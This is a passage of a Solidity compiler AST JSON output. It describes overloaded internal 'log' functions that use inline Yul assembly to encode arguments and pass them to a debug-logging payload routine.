kind":"number","nativeSrc":"238051:4:22","nodeType":"YulLiteral","src":"238051:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"238057:2:22","nodeType":"YulIdentifier","src":"238057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238044:6:22","nodeType":"YulIdentifier","src":"238044:6:22"},"nativeSrc":"238044:16:22","nodeType":"YulFunctionCall","src":"238044:16:22"},"nativeSrc":"238044:16:22","nodeType":"YulExpressionStatement","src":"238044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238080:4:22","nodeType":"YulLiteral","src":"238080:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"238086:2:22","nodeType":"YulIdentifier","src":"238086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238073:6:22","nodeType":"YulIdentifier","src":"238073:6:22"},"nativeSrc":"238073:16:22","nodeType":"YulFunctionCall","src":"238073:16:22"},"nativeSrc":"238073:16:22","nodeType":"YulExpressionStatement","src":"238073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238109:4:22","nodeType":"YulLiteral","src":"238109:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"238115:2:22","nodeType":"YulIdentifier","src":"238115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238102:6:22","nodeType":"YulIdentifier","src":"238102:6:22"},"nativeSrc":"238102:16:22","nodeType":"YulFunctionCall","src":"238102:16:22"},"nativeSrc":"238102:16:22","nodeType":"YulExpressionStatement","src":"238102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238138:4:22","nodeType":"YulLiteral","src":"238138:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"238144:2:22","nodeType":"YulIdentifier","src":"238144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238131:6:22","nodeType":"YulIdentifier","src":"238131:6:22"},"nativeSrc":"238131:16:22","nodeType":"YulFunctionCall","src":"238131:16:22"},"nativeSrc":"238131:16:22","nodeType":"YulExpressionStatement","src":"238131:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41604,"isOffset":false,"isSlot":false,"src":"237793:2:22","valueSize":1},{"declaration":41607,"isOffset":false,"isSlot":false,"src":"237823:2:22","valueSize":1},{"declaration":41610,"isOffset":false,"isSlot":false,"src":"237853:2:22","valueSize":1},{"declaration":41613,"isOffset":false,"isSlot":false,"src":"237883:2:22","valueSize":1},{"declaration":41616,"isOffset":false,"isSlot":false,"src":"237913:2:22","valueSize":1},{"declaration":41594,"isOffset":false,"isSlot":false,"src":"238057:2:22","valueSize":1},{"declaration":41596,"isOffset":false,"isSlot":false,"src":"238086:2:22","valueSize":1},{"declaration":41598,"isOffset":false,"isSlot":false,"src":"238115:2:22","valueSize":1},{"declaration":41600,"isOffset":false,"isSlot":false,"src":"238144:2:22","valueSize":1}],"id":41618,"nodeType":"InlineAssembly","src":"237770:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"238182:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41621,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"238188:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41619,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"238166:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41622,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"238166:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41623,"nodeType":"ExpressionStatement","src":"238166:27:22"},{"AST":{"nativeSrc":"238212:156:22","nodeType":"YulBlock","src":"238212:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"238233:4:22","nodeType":"YulLiteral","src":"238233:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"238239:2:22","nodeType":"YulIdentifier","src":"238239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238226:6:22","nodeType":"YulIdentifier","src":"238226:6:22"},"nativeSrc":"238226:16:22","nodeType":"YulFunctionCall","src":"238226:16:22"},"nativeSrc":"238226:16:22","nodeType":"YulExpressionStatement","src":"238226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238262:4:22","nodeType":"YulLiteral","src":"238262:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"238268:2:22","nodeType":"YulIdentifier","src":"238268:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238255:6:22","nodeType":"YulIdentifier","src":"238255:6:22"},"nativeSrc":"238255:16:22","nodeType":"YulFunctionCall","src":"238255:16:22"},"nativeSrc":"238255:16:22","nodeType":"YulExpressionStatement","src":"238255:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238291:4:22","nodeType":"YulLiteral","src":"238291:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"238297:2:22","nodeType":"YulIdentifier","src":"238297:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238284:6:22","nodeType":"YulIdentifier","src":"238284:6:22"},"nativeSrc":"238284:16:22","nodeType":"YulFunctionCall","src":"238284:16:22"},"nativeSrc":"238284:16:22","nodeType":"YulExpressionStatement","src":"238284:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238320:4:22","nodeType":"YulLiteral","src":"238320:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"238326:2:22","nodeType":"YulIdentifier","src":"238326:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238313:6:22","nodeType":"YulIdentifier","src":"238313:6:22"},"nativeSrc":"238313:16:22","nodeType":"YulFunctionCall","src":"238313:16:22"},"nativeSrc":"238313:16:22","nodeType":"YulExpressionStatement","src":"238313:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238349:4:22","nodeType":"YulLiteral","src":"238349:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"238355:2:22","nodeType":"YulIdentifier","src":"238355:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238342:6:22","nodeType":"YulIdentifier","src":"238342:6:22"},"nativeSrc":"238342:16:22","nodeType":"YulFunctionCall","src":"238342:16:22"},"nativeSrc":"238342:16:22","nodeType":"YulExpressionStatement","src":"238342:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41604,"isOffset":false,"isSlot":false,"src":"238239:2:22","valueSize":1},{"declaration":41607,"isOffset":false,"isSlot":false,"src":"238268:2:22","valueSize":1},{"declaration":41610,"isOffset":false,"isSlot":false,"src":"238297:2:22","valueSize":1},{"declaration":41613,"isOffset":false,"isSlot":false,"src":"238326:2:22","valueSize":1},{"declaration":41616,"isOffset":false,"isSlot":false,"src":"238355:2:22","valueSize":1}],"id":41624,"nodeType":"InlineAssembly","src":"238203:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"237597:3:22","parameters":{"id":41601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41594,"mutability":"mutable","name":"p0","nameLocation":"237609:2:22","nodeType":"VariableDeclaration","scope":41626,"src":"237601:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41593,"name":"uint256","nodeType":"ElementaryTypeName","src":"237601:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41596,"mutability":"mutable","name":"p1","nameLocation":"237621:2:22","nodeType":"VariableDeclaration","scope":41626,"src":"237613:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41595,"name":"address","nodeType":"ElementaryTypeName","src":"237613:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41598,"mutability":"mutable","name":"p2","nameLocation":"237633:2:22","nodeType":"VariableDeclaration","scope":41626,"src":"237625:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41597,"name":"uint256","nodeType":"ElementaryTypeName","src":"237625:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41600,"mutability":"mutable","name":"p3","nameLocation":"237642:2:22","nodeType":"VariableDeclaration","scope":41626,"src":"237637:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41599,"name":"bool","nodeType":"ElementaryTypeName","src":"237637:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"237600:45:22"},"returnParameters":{"id":41602,"nodeType":"ParameterList","parameters":[],"src":"237660:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41660,"nodeType":"FunctionDefinition","src":"238380:792:22","nodes":[],"body":{"id":41659,"nodeType":"Block","src":"238455:717:22","nodes":[],"statements":[{"assignments":[41638],"declarations":[{"constant":false,"id":41638,"mutability":"mutable","name":"m0","nameLocation":"238473:2:22","nodeType":"VariableDeclaration","scope":41659,"src":"238465:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41637,"name":"bytes32","nodeType":"ElementaryTypeName","src":"238465:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41639,"nodeType":"VariableDeclarationStatement","src":"238465:10:22"},{"assignments":[41641],"declarations":[{"constant":false,"id":41641,"mutability":"mutable","name":"m1","nameLocation":"238493:2:22","nodeType":"VariableDeclaration","scope":41659,"src":"238485:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41640,"name":"bytes32","nodeType":"ElementaryTypeName","src":"238485:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41642,"nodeType":"VariableDeclarationStatement","src":"238485:10:22"},{"assignments":[41644],"declarations":[{"constant":false,"id":41644,"mutability":"mutable","name":"m2","nameLocation":"238513:2:22","nodeType":"VariableDeclaration","scope":41659,"src":"238505:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"238505:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41645,"nodeType":"VariableDeclarationStatement","src":"238505:10:22"},{"assignments":[41647],"declarations":[{"constant":false,"id":41647,"mutability":"mutable","name":"m3","nameLocation":"238533:2:22","nodeType":"VariableDeclaration","scope":41659,"src":"238525:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41646,"name":"bytes32","nodeType":"ElementaryTypeName","src":"238525:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41648,"nodeType":"VariableDeclarationStatement","src":"238525:10:22"},{"assignments":[41650],"declarations":[{"constant":false,"id":41650,"mutability":"mutable","name":"m4","nameLocation":"238553:2:22","nodeType":"VariableDeclaration","scope":41659,"src":"238545:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41649,"name":"bytes32","nodeType":"ElementaryTypeName","src":"238545:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41651,"nodeType":"VariableDeclarationStatement","src":"238545:10:22"},{"AST":{"nativeSrc":"238574:381:22","nodeType":"YulBlock","src":"238574:381:22","statements":[{"nativeSrc":"238588:17:22","nodeType":"YulAssignment","src":"238588:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"238600:4:22","nodeType":"YulLiteral","src":"238600:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"238594:5:22","nodeType":"YulIdentifier","src":"238594:5:22"},"nativeSrc":"238594:11:22","nodeType":"YulFunctionCall","src":"238594:11:22"},"variableNames":[{"name":"m0","nativeSrc":"238588:2:22","nodeType":"YulIdentifier","src":"238588:2:22"}]},{"nativeSrc":"238618:17:22","nodeType":"YulAssignment","src":"238618:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"238630:4:22","nodeType":"YulLiteral","src":"238630:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"238624:5:22","nodeType":"YulIdentifier","src":"238624:5:22"},"nativeSrc":"238624:11:22","nodeType":"YulFunctionCall","src":"238624:11:22"},"variableNames":[{"name":"m1","nativeSrc":"238618:2:22","nodeType":"YulIdentifier","src":"238618:2:22"}]},{"nativeSrc":"238648:17:22","nodeType":"YulAssignment","src":"238648:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"238660:4:22","nodeType":"YulLiteral","src":"238660:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"238654:5:22","nodeType":"YulIdentifier","src":"238654:5:22"},"nativeSrc":"238654:11:22","nodeType":"YulFunctionCall","src":"238654:11:22"},"variableNames":[{"name":"m2","nativeSrc":"238648:2:22","nodeType":"YulIdentifier","src":"238648:2:22"}]},{"nativeSrc":"238678:17:22","nodeType":"YulAssignment","src":"238678:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"238690:4:22","nodeType":"YulLiteral","src":"238690:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"238684:5:22","nodeType":"YulIdentifier","src":"238684:5:22"},"nativeSrc":"238684:11:22","nodeType":"YulFunctionCall","src":"238684:11:22"},"variableNames":[{"name":"m3","nativeSrc":"238678:2:22","nodeType":"YulIdentifier","src":"238678:2:22"}]},{"nativeSrc":"238708:17:22","nodeType":"YulAssignment","src":"238708:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"238720:4:22","nodeType":"YulLiteral","src":"238720:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"238714:5:22","nodeType":"YulIdentifier","src":"238714:5:22"},"nativeSrc":"238714:11:22","nodeType":"YulFunctionCall","src":"238714:11:22"},"variableNames":[{"name":"m4","nativeSrc":"238708:2:22","nodeType":"YulIdentifier","src":"238708:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238812:4:22","nodeType":"YulLiteral","src":"238812:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"238818:10:22","nodeType":"YulLiteral","src":"238818:10:22","type":"","value":"0x0c9cd9c1"}],"functionName":{"name":"mstore","nativeSrc":"238805:6:22","nodeType":"YulIdentifier","src":"238805:6:22"},"nativeSrc":"238805:24:22","nodeType":"YulFunctionCall","src":"238805:24:22"},"nativeSrc":"238805:24:22","nodeType":"YulExpressionStatement","src":"238805:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238849:4:22","nodeType":"YulLiteral","src":"238849:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"238855:2:22","nodeType":"YulIdentifier","src":"238855:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238842:6:22","nodeType":"YulIdentifier","src":"238842:6:22"},"nativeSrc":"238842:16:22","nodeType":"YulFunctionCall","src":"238842:16:22"},"nativeSrc":"238842:16:22","nodeType":"YulExpressionStatement","src":"238842:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238878:4:22","nodeType":"YulLiteral","src":"238878:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"238884:2:22","nodeType":"YulIdentifier","src":"238884:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238871:6:22","nodeType":"YulIdentifier","src":"238871:6:22"},"nativeSrc":"238871:16:22","nodeType":"YulFunctionCall","src":"238871:16:22"},"nativeSrc":"238871:16:22","nodeType":"YulExpressionStatement","src":"238871:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238907:4:22","nodeType":"YulLiteral","src":"238907:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"238913:2:22","nodeType":"YulIdentifier","src":"238913:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238900:6:22","nodeType":"YulIdentifier","src":"238900:6:22"},"nativeSrc":"238900:16:22","nodeType":"YulFunctionCall","src":"238900:16:22"},"nativeSrc":"238900:16:22","nodeType":"YulExpressionStatement","src":"238900:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238936:4:22","nodeType":"YulLiteral","src":"238936:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"238942:2:22","nodeType":"YulIdentifier","src":"238942:2:22"}],"functionName":{"name":"mstore","nativeSrc":"238929:6:22","nodeType":"YulIdentifier","src":"238929:6:22"},"nativeSrc":"238929:16:22","nodeType":"YulFunctionCall","src":"238929:16:22"},"nativeSrc":"238929:16:22","nodeType":"YulExpressionStatement","src":"238929:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41638,"isOffset":false,"isSlot":false,"src":"238588:2:22","valueSize":1},{"declaration":41641,"isOffset":false,"isSlot":false,"src":"238618:2:22","valueSize":1},{"declaration":41644,"isOffset":false,"isSlot":false,"src":"238648:2:22","valueSize":1},{"declaration":41647,"isOffset":false,"isSlot":false,"src":"238678:2:22","valueSize":1},{"declaration":41650,"isOffset":false,"isSlot":false,"src":"238708:2:22","valueSize":1},{"declaration":41628,"isOffset":false,"isSlot":false,"src":"238855:2:22","valueSize":1},{"declaration":41630,"isOffset":false,"isSlot":false,"src":"238884:2:22","valueSize":1},{"declaration":41632,"isOffset":false,"isSlot":false,"src":"238913:2:22","valueSize":1},{"declaration":41634,"isOffset":false,"isSlot":false,"src":"238942:2:22","valueSize":1}],"id":41652,"nodeType":"InlineAssembly","src":"238565:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41654,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"238980:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41655,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"238986:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41653,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"238964:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"238964:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41657,"nodeType":"ExpressionStatement","src":"238964:27:22"},{"AST":{"nativeSrc":"239010:156:22","nodeType":"YulBlock","src":"239010:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"239031:4:22","nodeType":"YulLiteral","src":"239031:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"239037:2:22","nodeType":"YulIdentifier","src":"239037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"239024:6:22","nodeType":"YulIdentifier","src":"239024:6:22"},"nativeSrc":"239024:16:22","nodeType":"YulFunctionCall","src":"239024:16:22"},"nativeSrc":"239024:16:22","nodeType":"YulExpressionStatement","src":"239024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"239060:4:22","nodeType":"YulLiteral","src":"239060:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"239066:2:22","nodeType":"YulIdentifier","src":"239066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"239053:6:22","nodeType":"YulIdentifier","src":"239053:6:22"},"nativeSrc":"239053:16:22","nodeType":"YulFunctionCall","src":"239053:16:22"},"nativeSrc":"239053:16:22","nodeType":"YulExpressionStatement","src":"239053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"239089:4:22","nodeType":"YulLiteral","src":"239089:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"239095:2:22","nodeType":"YulIdentifier","src":"239095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"239082:6:22","nodeType":"YulIdentifier","src":"239082:6:22"},"nativeSrc":"239082:16:22","nodeType":"YulFunctionCall","src":"239082:16:22"},"nativeSrc":"239082:16:22","nodeType":"YulExpressionStatement","src":"239082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"239118:4:22","nodeType":"YulLiteral","src":"239118:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"239124:2:22","nodeType":"YulIdentifier","src":"239124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"239111:6:22","nodeType":"YulIdentifier","src":"239111:6:22"},"nativeSrc":"239111:16:22","nodeType":"YulFunctionCall","src":"239111:16:22"},"nativeSrc":"239111:16:22","nodeType":"YulExpressionStatement","src":"239111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"239147:4:22","nodeType":"YulLiteral","src":"239147:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"239153:2:22","nodeType":"YulIdentifier","src":"239153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"239140:6:22","nodeType":"YulIdentifier","src":"239140:6:22"},"nativeSrc":"239140:16:22","nodeType":"YulFunctionCall","src":"239140:16:22"},"nativeSrc":"239140:16:22","nodeType":"YulExpressionStatement","src":"239140:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41638,"isOffset":false,"isSlot":false,"src":"239037:2:22","valueSize":1},{"declaration":41641,"isOffset":false,"isSlot":false,"src":"239066:2:22","valueSize":1},{"declaration":41644,"isOffset":false,"isSlot":false,"src":"239095:2:22","valueSize":1},{"declaration":41647,"isOffset":false,"isSlot":false,"src":"239124:2:22","valueSize":1},{"declaration":41650,"isOffset":false,"isSlot":false,"src":"239153:2:22","valueSize":1}],"id":41658,"nodeType":"InlineAssembly","src":"239001:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"238389:3:22","parameters":{"id":41635,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41628,"mutability":"mutable","name":"p0","nameLocation":"238401:2:22","nodeType":"VariableDeclaration","scope":41660,"src":"238393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41627,"name":"uint256","nodeType":"ElementaryTypeName","src":"238393:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41630,"mutability":"mutable","name":"p1","nameLocation":"238413:2:22","nodeType":"VariableDeclaration","scope":41660,"src":"238405:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41629,"name":"address","nodeType":"ElementaryTypeName","src":"238405:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41632,"mutability":"mutable","name":"p2","nameLocation":"238425:2:22","nodeType":"VariableDeclaration","scope":41660,"src":"238417:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41631,"name":"uint256","nodeType":"ElementaryTypeName","src":"238417:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41634,"mutability":"mutable","name":"p3","nameLocation":"238437:2:22","nodeType":"VariableDeclaration","scope":41660,"src":"238429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41633,"name":"uint256","nodeType":"ElementaryTypeName","src":"238429:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"238392:48:22"},"returnParameters":{"id":41636,"nodeType":"ParameterList","parameters":[],"src":"238455:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41700,"nodeType":"FunctionDefinition","src":"239178:1340:22","nodes":[],"body":{"id":41699,"nodeType":"Block","src":"239253:1265:22","nodes":[],"statements":[{"assignments":[41672],"declarations":[{"constant":false,"id":41672,"mutability":"mutable","name":"m0","nameLocation":"239271:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239263:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41671,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239263:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41673,"nodeType":"VariableDeclarationStatement","src":"239263:10:22"},{"assignments":[41675],"declarations":[{"constant":false,"id":41675,"mutability":"mutable","name":"m1","nameLocation":"239291:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41674,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41676,"nodeType":"VariableDeclarationStatement","src":"239283:10:22"},{"assignments":[41678],"declarations":[{"constant":false,"id":41678,"mutability":"mutable","name":"m2","nameLocation":"239311:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41677,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41679,"nodeType":"VariableDeclarationStatement","src":"239303:10:22"},{"assignments":[41681],"declarations":[{"constant":false,"id":41681,"mutability":"mutable","name":"m3","nameLocation":"239331:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41680,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239323:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41682,"nodeType":"VariableDeclarationStatement","src":"239323:10:22"},{"assignments":[41684],"declarations":[{"constant":false,"id":41684,"mutability":"mutable","name":"m4","nameLocation":"239351:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239343:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239343:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41685,"nodeType":"VariableDeclarationStatement","src":"239343:10:22"},{"assignments":[41687],"declarations":[{"constant":false,"id":41687,"mutability":"mutable","name":"m5","nameLocation":"239371:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239363:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239363:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41688,"nodeType":"VariableDeclarationStatement","src":"239363:10:22"},{"assignments":[41690],"declarations":[{"constant":false,"id":41690,"mutability":"mutable","name":"m6","nameLocation":"239391:2:22","nodeType":"VariableDeclaration","scope":41699,"src":"239383:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239383:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41691,"nodeType":"VariableDeclarationStatement","src":"239383:10:22"},{"AST":{"nativeSrc":"239412:831:22","nodeType":"YulBlock","src":"239412:831:22","statements":[{"body":{"nativeSrc":"239455:313:22","nodeType":"YulBlock","src":"239455:313:22","statements":[{"nativeSrc":"239473:15:22","nodeType":"YulVariableDeclaration","src":"239473:15:22","value":{"kind":"number","nativeSrc":"239487:1:22","nodeType":"YulLiteral","src":"239487:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"239477:6:22","nodeType":"YulTypedName","src":"239477:6:22","type":""}]},{"body":{"nativeSrc":"239558:40:22","nodeType":"YulBlock","src":"239558:40:22","statements":[{"body":{"nativeSrc":"239587:9:22","nodeType"